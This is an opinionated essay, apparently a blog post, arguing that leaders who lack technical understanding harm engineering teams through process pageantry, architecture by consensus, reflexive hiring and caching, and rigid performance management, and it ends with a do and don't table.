Health warning: This article may not make you feel happy, it may not suit you to read this article. I am not even sure I necessarily believe everything I am saying here – but I do believe in personally reflecting on the challenging questions being posed in this article to try make myself a better leader. The article is simply asking “what is the value of you, in the context of leading skilled engineering teams?”

There is a particular kind of executive confidence that appears in technology organisations. It usually sounds like this: “I don’t need to understand the tech. I manage outcomes.” It is normally followed by a transformation programme, several reorganisations, collapsing morale, and a very expensive consultancy engagement that promises clarity and delivers polished slideware.

Let’s be direct. Managing technologists without understanding technology is not a neutral handicap; it is an active risk multiplier. The more complex the environment, the more damaging the ignorance becomes.

Consider the keep fit instructor who is visibly overweight and hasn’t exercised in years. They may possess a certification, a job title, and a timetable full of classes. But they cannot teach what they do not know or do not believe in. Their clients sense it immediately. The credibility is gone before a single word is spoken. Technology leadership is no different. You cannot guide people through terrain you have never traversed, and you cannot inspire standards you cannot demonstrate.

So here is the guide you asked for.

1. Start by Accepting You Are Blind

If you do not understand software architecture, distributed systems, infrastructure, security models, delivery pipelines, data structures, and operational constraints, then you are blind to the shape of the terrain. You cannot properly see tradeoffs, shortcuts, fragility, or when someone is bluffing. Technology is not like sales or marketing where outcomes are often decoupled from deep domain mechanics. In technology, the mechanics are the outcome. Architecture decisions made in a whiteboard session today will determine scalability, cost, resilience, and regulatory exposure five years from now.

If you do not understand that dynamic, you are not steering the organisation. You are simply sitting in the passenger seat, while pretending to hold a wheel.

2. Stop Pretending Delivery Is Just Project Management

Non technical leaders often default to process pageantry because it is visible and legible. They add more standups, more dashboards, more governance forums, and more colour coded status reports in the belief that visibility equals control. None of these artefacts fix poor architecture, reduce technical debt, compensate for a misaligned data model, or create good engineers.

When you cannot evaluate technical quality directly, you over index on visible artefacts. Documentation begins to look like competence and velocity charts start to look like value, while entropy compounds quietly underneath the surface. The system appears orderly right up until it fails.

3. You Will Optimise for the Wrong Things

If you do not understand technology, you will optimise for what you can easily measure. Feature count, story points, headcount, burn rate, vendor promises, and analyst positioning become proxies for progress because they are tangible and easy to present upward.

Technologists, however, optimise for variables that are less visible but far more consequential: latency, throughput, failure domains, blast radius, observability, coupling, and long term maintainability. These variables are not intuitive if you have never built and operated systems, so you unintentionally pressure teams to move in directions that make the system worse while appearing more productive. You celebrate feature velocity while quietly accumulating architectural collapse.

4. You Will Reward Confidence Over Competence

In technical environments, there are engineers who explain complexity cautiously and engineers who promise simplification confidently. If you cannot evaluate the substance behind those positions, you will reward the confidence because it is easier to understand and more comforting to hear. The loud architect who claims “this is easy” will often outrank the quiet engineer who warns that the proposal will create long term fragility.

Over time, bad decisions institutionalise themselves. Real builders leave because their judgement is repeatedly overruled by narrative. Political performers remain because they are aligned with what leadership can recognise. The technical centre of gravity shifts from engineering to performance and display, and once that shift occurs it is extremely difficult to reverse.

4.1 Architecture Is Not Blockchain. Stop Voting on It.

There is a dangerous instinct among non technical leaders to democratise technology decisions. It feels fair. It feels inclusive. It feels like good governance. It is none of these things.

Technology architecture decisions are not like blockchain. There is no distributed consensus protocol that produces good system design. You cannot put an architecture to a vote and expect the result to be sound. Consensus in architecture does not produce quality. It produces compromise, and compromise in system design is how you end up with a monolith wearing a microservices costume.

Good architecture sits with the few. It always has. The people who can see failure modes before they materialise, who understand how coupling decisions made today will constrain optionality in three years, who can hold the full system topology in their heads while evaluating a proposed change. These people are rare. They are not the majority, and they should never need to be.

If you cannot immediately discern who these people are, that is not an excuse to default to democracy. It is a problem you must solve. You can look at track record. Who built the things that actually work? Who predicted the failures that eventually materialised? Who do the other strong engineers defer to when it matters? You can ask the people who seem to know. Genuine technical talent recognises other genuine technical talent with remarkable consistency. The engineers who understand the system will tell you who else understands the system if you ask them honestly and listen without filtering their answer through your own preferences.

What you cannot do is use “who do I get on with” as a proxy for technical authority. Rapport is not architecture. The person whose company you enjoy at lunch is not necessarily the person who should be making database partitioning decisions. In fact, the odds are reasonable that the person you need to trust with these decisions is someone you find difficult. They may be blunt. They may lack patience for ambiguity. They may not perform enthusiasm on demand or soften their assessments to make the room comfortable. That is not a deficiency. That is frequently what deep technical clarity looks like when it has not been sanded down by corporate socialisation.

Your job is not to find someone who makes architecture decisions and is also easy to manage. Your job is to find the person who makes the right architecture decisions and then do the leadership work around them. That means helping them evolve how they communicate without requiring them to dilute what they communicate. It means cushioning how their assessments land with the people you probably get on better with, the ones who find directness confronting. It means translating their clarity into language the room can absorb without asking them to do the translating themselves, because the moment you make that their job, you have redirected their energy from engineering to diplomacy, and you will get less of both.

The moment you make it the job of those who know to convince those who do not, you have inverted the burden of proof. You are asking the surgeon to justify the incision to the waiting room. The engineer who sees the correct path must now spend their energy selling it to people who lack the context to evaluate it, navigating politics, building slide decks, softening language, and managing egos. Their actual job, building things that work, becomes secondary to the performance of persuasion.

This is how you build an idiocracy. Not through malice, but through process. The smart people do not leave because they are angry. They leave because they are tired. Tired of explaining things that should not need explaining. Tired of watching inferior decisions win because they were presented more palatably. Tired of carrying the cognitive load of the system while simultaneously carrying the emotional load of convincing people who will never understand it.

And when they leave, they do not come back. The institutional knowledge walks out with them. What remains is a leadership structure perfectly optimised for consensus and utterly incapable of producing anything architecturally coherent.

So if you find yourself in a room where architecture is being decided by a show of hands, you have already failed. Your job is not to count votes. Your job is to identify the people who actually know, give them authority, back their judgement, and manage everyone else around that judgement. Not the other way around.

The few who know should be protected and empowered. The many who do not should be managed, guided, and kept from diluting decisions they are not equipped to make. That is not elitism. That is engineering.

5. You Will Torture Your Best People

When a non technical leader takes over a technology team, they will almost always find A players. Their track record is documented, their peers defer to them, their output is measurable, and their understanding of the system is encyclopaedic.

Management culture tells you to grow people, stretch them, and challenge them. That works when you understand the craft. When you do not, it becomes interference dressed up as development.

If you do not understand what your A players do, you have two options. You can support them and back them, which means protecting their time, removing obstacles, trusting their judgement on matters you cannot evaluate, and quietly taking credit while they build things that matter. Or you can second guess their architecture, impose frameworks on their process, redirect their priorities based on something you skimmed in a blog post, require justification for decisions you cannot interrogate, and surround them with governance rituals that treat excellence as a compliance risk. You will not improve them. You will exhaust them.

The strongest leaders recognise that their job with exceptional engineers is not to improve them but to protect them from everything that would prevent them from doing what they are already exceptional at, including protecting them from unnecessary leadership interference.

5.1 The Messi Test

If you were managing Lionel Messi at the peak of his career, would you try to make him a better footballer? Would you sit him down and say, “I think you should score more goals,” or “You should do cooler dances after goals,” or “You should do more of that overhead scissors stuff, it looks great on my Instagram”? Of course not. You would never say this, because you understand exactly what Messi would think: “what is planet are you on?“

You would not attempt to coach the best player in the world on how to kick a ball. That would be delusion masquerading as leadership.

But you might help him in other ways. You might shield him from media noise so he can focus on performance. You might connect him with world class tax advisors so he does not learn about compliance through public scandal. You might create an environment where he can speak honestly about pressure, fear, and expectations without reputational risk. You might remove friction from his life so that his talent can compound. That is leadership.

Technologists are your Messis, I dont mean they are expensive “rock stars” that should be worshipped. But they’re highly skilled, highly trained engineers that are operating at the edge of complexity most executives cannot see, let alone master. The moment you start telling them how to “score more goals” in their domain, you lose credibility. The moment you start removing obstacles, clarifying intent, protecting focus, and supporting their growth as humans, you become useful.

Leadership is not about demonstrating your value. It is about increasing theirs.

6. Learn to See the World Through Their Eyes

A significant proportion of high performing technologists are wired for precision, depth, and pattern recognition in ways that do not always align neatly with corporate culture. Some sit somewhere on the autism spectrum. Many process imperfection as persistent cognitive noise. A brittle workaround in a codebase, a decision that feels architecturally wrong, a governance process quietly ignored, all of it remains present in their thinking. They are not being difficult. They are being accurate.

Corporate ambiguity, political signalling, and performative enthusiasm do not create alignment for these engineers. They create anxiety. Mixed messages do not feel strategic. They feel incoherent.

Good leaders regulate the room. They absorb noise, reduce ambiguity, speak plainly, and provide calm clarity. A simple, credible “we have this” from someone who understands the system can settle a mind that has been carrying too much context alone.

Poor leaders amplify the noise. They respond with more process, more reporting, more governance. The engineer leaves more dysregulated than they arrived.

Your job is not to fix them. It is to connect with them. Be explicit. Mean what you say. Offer precise recognition for precise contributions. Treat their way of thinking as an asset rather than a personality flaw. That is not a programme. It is leadership.

7. The Rub: Management Is Not Parenting

Here is the rub. Every one of us has had a boss. From the day we were born we were trained to be told what to do. Parents, teachers, coaches. We learned compliance before we learned autonomy. So in a strange way, everyone believes they understand management because everyone has been managed.

But there is a structural flaw in that analogy.

When you tell a child what to do, it is because you genuinely know better. You are larger, more experienced, more informed. The power gradient is justified. Authority is protective. Instruction is developmental. The child benefits precisely because the adult has superior context.

When you “manage” a technologist and you do not understand the domain, that gradient disappears. You are not the informed authority in the room. You are, in many ways, naked in the relationship. And naked authority is dangerous. It creates insecurity. Insecurity creates compensating behaviour. Some leaders respond by asserting dominance, prescribing solutions, forcing direction, or manufacturing certainty to soothe their own internal sense of being an imposter. Do not do this.

The moment you compensate for ignorance with control, you infantilise an adult expert. The relationship subtly shifts from adult to adult into adult to child. And technologists can feel it immediately. Respect erodes. Candour drops. Performance follows.

Instead, treat the relationship as adult to adult. That requires humility. Real humility, not performative modesty. Humility that says: “You know more than I do about this domain. My job is not to override you. My job is to create the conditions where your expertise compounds.”

Most corporates inadvertently filter out humble leaders because humility is harder to spot in an interview. It does not posture. It does not dominate airtime. It does not radiate artificial certainty. It can even be misread as weakness. It is not weakness. It is a superpower.

In complex technical environments, humility is the only posture that preserves credibility, unlocks trust, and allows expertise to surface without fear.

8. You Cannot Challenge Risk Without Understanding It

Technology is an infinite game. There is no finished state and no moment when risk disappears. Engineers need to be challenged on the risks they are taking, avoiding, and ignoring.

But you can only challenge meaningfully on risks you understand. Asking whether something is secure is not risk management. Asking what happens to the blast radius if a critical dependency fails before decoupling it is risk management. The difference is fluency.

Technology teams need to be taught more than they need to be managed. The best leaders challenge from credibility.

8.1 Scaling Is Not Shovelling Coal

The reflex when things are going slowly is to hire more people, on the theory that more engineers typing at more keyboards produces more output. This is the coal and steam engine model of technology leadership: if you want more steam, shovel more coal. It is almost entirely wrong.

Almost every meaningful slowdown in a technology organisation is structural rather than headcount related. The system is badly architected, the deployment process is a labyrinth, teams are coupled to each other in ways nobody has fully mapped, and three approvals are required from people who are never available simultaneously. The platform was designed for a company one tenth the current size and nobody has rearchitected it. Adding more engineers to this environment does not accelerate delivery; it adds more coordination surfaces, more communication overhead, and more people who need to understand a system that was never properly documented in the first place.

Fred Brooks established this in 1975 in The Mythical Man Month, observing that adding people to a late software project makes it later. Fifty years on, organisations still have not internalised it.

Almost all of my meaningful productivity gains across a career have come from three activities: simplifying, rearchitecting, and decommissioning. In several engagements I have reduced team sizes by eighty to ninety percent through focused engineering effort, not through redundancy rounds, but because the complexity that justified those team sizes no longer existed. The work evaporated because the waste was removed, not because more people arrived to carry it.

Business leaders rarely reach for any of these three levers, because none of them are visible in the way that hiring is. Simplification produces no announcement. Rearchitecting takes time before it pays off. Decommissioning feels like destroying value even when the system being decommissioned is the thing burning the most of it. Hiring, by contrast, feels decisive and produces a headcount number that rises, a team that grows, and a credible impression of action.

The result is bloat, not in the pejorative sense of laziness or incompetence, but structural bloat. Layers of middle management are added to coordinate the people hired to solve problems that better engineering would have eliminated. Small pools of engineers are assigned to each layer and an elaborate coordination dance begins, with teams attempting to place assets into production across boundaries they did not design, through processes they did not write, requiring sign offs from people who were not part of the original conversation. The system slows further, more managers are added to explain the slowdown, the slides get denser, and the actual engineers spend progressively less time building anything.

There is nothing wrong with the people in this structure. The structure is the problem.

There is also a bias worth naming directly. Ask a business leader whether they would be comfortable reporting into a technologist and watch the nervous laugh. It surfaces something honest: the default assumption in most organisations is that technology is a support function, a delivery vehicle for business ideas, something to be managed rather than something that leads. That assumption shapes every resourcing decision that follows. If you believe technology is an execution arm, you staff it like one. If you understand that technology is the product, the risk surface, the cost structure, and increasingly the competitive differentiator, the entire calculus changes.

The most expensive thing in many technology organisations is not the engineers. It is the coordination overhead constructed to manage them, most of which exists because the underlying architecture was never properly simplified in the first place.

8.2 A Seating Move Is Not Progress

There is one thing I have never seen accompany a push to federate technology into business units, and that is a business case. Not a real one. Not one that commits to reducing the headcount of the central technology function as teams move out, improving product quality in measurable terms, accelerating time to market, or delivering a better client experience. Those outcomes are sometimes gestured at in conversation but they are never written down with numbers attached, never stress tested, and never tracked after the fact.

What actually happens is a long, sustained lobbying effort. Business leaders work on executives over months, sometimes years, making the case in corridors and leadership offsites and one on ones that they just want ownership, that they could move faster if they were not dependent on a central team, that their domain is unique enough to justify its own capability. The argument is almost always framed around autonomy and alignment rather than outcomes, because outcomes would require accountability and accountability would require the business case that nobody wants to write. Eventually the lobbying reaches a threshold and the seating move happens. Org charts are redrawn. Teams are transferred. Announcements are made about empowerment and closer alignment to the business.

Then the outages start. The platform that looked simple from the outside turns out to have dependencies that the embedded team did not fully understand. The shared services that the central function provided quietly and reliably are now either duplicated at significant cost or quietly still consumed while the team claims independence. The senior engineers who did not want to move find reasons to leave. Junior engineers discover that their new reporting line has no meaningful technology leadership above them. The business head who lobbied hardest for the change is notably quiet during the incidents, because the conversation has shifted from strategy to operations and that is not where they are most comfortable.

The people who argued loudest for federation are rarely held accountable when it does not deliver what they promised, partly because they never promised anything specific enough to be held to. A seating move that comes with no business case produces no basis for evaluation, and that is a feature of the approach, not an oversight.

8.3 The Centralised vs Federated Dance

Alongside the headcount reflex sits a structural one that operates on a longer cycle, roughly three to five years in most organisations, and it is just as predictable. It is the oscillation between centralised technology functions and federated ones embedded inside business units, and poor performing companies do it repeatedly without ever asking why they keep arriving back at the same problems from the opposite direction.

When technology is federated, the symptoms accumulate gradually and then all at once. Headcount expands because each business unit builds its own capability without reference to what anyone else is building. Delivery slows because teams are solving the same problems in parallel and nobody is accountable for the shared infrastructure underneath. Product intellectual property fragments across a dozen slightly different implementations. Outages begin to correlate in ways nobody predicted because the underlying platforms were never properly standardised. Eventually the organisation reaches a pain threshold and a decision is made: centralise. Put technology back together, eliminate duplication, create a shared platform, and impose some coherence on the chaos.

And then, after a few years of that, a different set of symptoms accumulates. The centralised function is accused of being slow, unresponsive, and too far from the business to understand what the business actually needs. Business leaders begin to argue, with genuine conviction, that they just want to own technology themselves so they can build a team aligned to their own priorities, responsive to their own roadmap, and invested in their own outcomes rather than a shared queue managed by someone who does not really understand their domain. The language of empowerment enters the conversation. Autonomy is positioned as the solution. And so the cycle turns again.

What neither state acknowledges is that both of them are wrong, or more precisely, that neither of them is the real problem. The real problem is that technology product teams sitting inside business units are almost never well looked after, well understood, or well led. The business leader who asked for them does not have the technical depth to develop them, challenge them, or protect them from the work that will slowly reduce them to order takers. The senior technologists in those embedded teams typically feel it within a year or two and want to move back to a technology reporting structure where they will be compared against peers, stretched by people who understand the craft, and given a career trajectory that makes sense. The weaker technologists, by contrast, are often quite comfortable in the federated model precisely because the lack of comparison works in their favour, and their performance tends to set their direction eventually regardless of their preference.

The leaders of those embedded teams occupy a particularly comfortable position that is worth examining honestly. Sitting inside a business unit, away from a central technology function, they are largely insulated from scrutiny about what good engineering actually looks like. There is no peer group holding up a mirror. There is no principal architect asking difficult questions about their design decisions. The business head they report to is usually grateful for the relationship and not equipped to push back on the technical substance. That comfort is real, but it comes at a cost that falls mostly on the junior technologists underneath them, who are poorly directed, working in a narrow domain with limited exposure to broader engineering practice, and facing a career runway that shortens the longer they stay.

The honest answer is that technology product teams should sit close to the business, but closeness is not the same as ownership, and ownership is not the same as being well led. The cycle will keep turning until organisations stop treating the reporting line as the variable that needs fixing and start asking the harder question about whether the people leading those teams, wherever they sit, actually understand what they are leading.

9. You Will Build a Human ETL Layer

When leaders cannot understand technology directly, they compensate by inserting translation layers. Middle management expands. Engineers are divided into smaller execution pools overseen by coordinators and programme managers whose primary function is to translate engineering reality into executive language and back again.

You create a human ETL pipeline. Engineers produce signal. Middle management extracts it, transforms it into narratives, and loads it into reporting decks, governance packs, quarterly reviews, and risk registers. The same underlying data is repackaged repeatedly, often at the last minute, into slightly different formats for different audiences.

A status update becomes a slide. The slide becomes a summary. The summary becomes a dashboard. The dashboard becomes a talking point. Each transformation distorts meaning.

Leadership overhead can approach the entirety of an engineer’s day. There are just enough managers to guarantee standstill, but also just enough structure to produce a convincing explanation for why five minute tasks take months. The slides appear dense with activity, yet they are often incoherent. If you trace a single initiative from idea to production, the drywall cracks and the house of cards becomes visible.

Movement replaces progress. Coordination replaces coherence.

10. You Will Reach for Redis

Eventually a performance issue will surface. Without technical depth, the reflex is to add something modern and powerful. Often that something is Redis.

A cache feels decisive. Add it, declare the issue addressed, move on.

Never do this blindly.

In fragile environments layered with historical hacks, adding another cache compounds opacity. Someone likely solved a similar problem years ago with an undocumented optimisation. Now you have multiple layers of state, unclear invalidation logic, and outages that are less frequent but more mysterious.

Performance issues are often structural. Poor data models, missing indexes, excessive coupling, and architectural shortcuts create systemic friction. Caching over structural weakness hides symptoms while deepening fragility.

I am speaking to you from a future world where mankind was destroyed by Redis caches. Not because Redis is flawed, but because leaders layered fixes onto systems they did not understand.

11. The HR Performance Management Trap

The most corrosive pattern appears when ignorance meets rigid HR systems. Deep engineering work is compressed into quarterly objectives as though innovation follows a payroll calendar. Goals are signed off ceremonially. Alignment is declared.

Within weeks, priorities shift. Engineers are told to pivot immediately.

Months later, those same goals reappear in reviews as if nothing changed. Leaders who have not read them in half a year use them as instruments of judgement. Engineers are assessed against objectives invalidated in the first week after signing.

You demand agility in delivery and rigidity in evaluation.

Then comes the request for detailed activity lists because leadership is not close to the details and needs to fight their case. Engineers reconstruct narratives to fit templates. Intellectual capital creation is replaced by artefact production.

12. Practical Do and Don’t Guide

If you are not technically fluent, the pattern is predictable. The table below summarises the behaviours that separate responsible leadership from destructive interference.

Do	Don’t	Why
Learn enough to understand system design, failure modes, and architectural tradeoffs.	Announce that you are not technical as if it is neutral.	Ignorance in complex systems leads to misaligned incentives and fragile decisions.
Protect A players by removing noise and shielding their time.	“Develop” your best engineers by interfering in work you do not understand.	Elite performers need space and cover, not amateur coaching.
Identify technical authority by track record and peer recognition, then back their judgement.	Use personal rapport as a proxy for who should make architecture decisions.	The person you get on with is not necessarily the person who should be making partitioning decisions.
Help your strongest technical minds evolve their communication style and cushion how their directness lands.	Make it the job of those who know to convince those who do not.	You redirect engineering energy into diplomacy and create an idiocracy where the smart people die off.
Keep priority changes rare and explicit, and update goals when reality changes.	Pivot constantly and then measure people against obsolete objectives.	You cannot demand agility in execution and rigidity in evaluation.
Stay close enough to the work to understand reality.	Build a human ETL of middle managers to translate everything into slide decks.	Translation layers create motion without progress and distort truth.
Fix performance problems at the root.	Add Redis or another cache reflexively.	Additive fixes on top of structural weakness increase opacity and fragility.
Be explicit, direct, and consistent in communication.	Rely on ambiguity and political signalling.	Precision wired engineers interpret ambiguity as incoherence.
Install real technical authority if you lack fluency.	Appoint ceremonial technical leaders without power.	Architecture by committee produces incoherent systems.
Give architecture decisions to the few who know and manage everyone else around that judgement.	Put architecture to a vote or seek consensus across people who lack the context to evaluate it.	Consensus does not produce good architecture. It produces compromise that compounds into structural incoherence.
Create the conditions for excellence.	Mistake intervention for leadership.	In complex systems, unnecessary intervention is usually negative value.

13. Consultants Will Smell You

When leadership cannot interrogate architecture, consultants shape the narrative. Platforms are sold instead of problems solved. Roadmaps are purchased instead of capability built. Without internal fluency, you cannot distinguish elegance from illusion.

14. Culture Will Decay

Technologists do not need their leaders to be the best engineers in the room, but they do need them to recognise quality. When leaders cannot distinguish good from bad engineering, excellence is not protected and mediocrity is not corrected.

High performers disengage first. The rest follow.

15. So What Should You Do

You have three options.

Learn. Build real fluency and challenge from credibility.

Install genuine technical authority and listen to it.

Or do not take the role.

The honest answer to how to manage technologists if you do not understand technology is simple.

You do not.

16. Conclusion: Don’t

Leadership is not domain agnostic. You would not manage surgeons without understanding anatomy or pilots without understanding aviation risk. You would not hire an unfit keep fit instructor and expect the class to improve.

Software runs banks, hospitals, logistics networks, and defence systems. Technology teams do not need more managers. They need leaders who can teach, challenge intelligently, and provide cover for the right risks.

If you do not understand technology and do not intend to learn, the most responsible decision you can make is not to lead technologists.

In conclusion, don’t.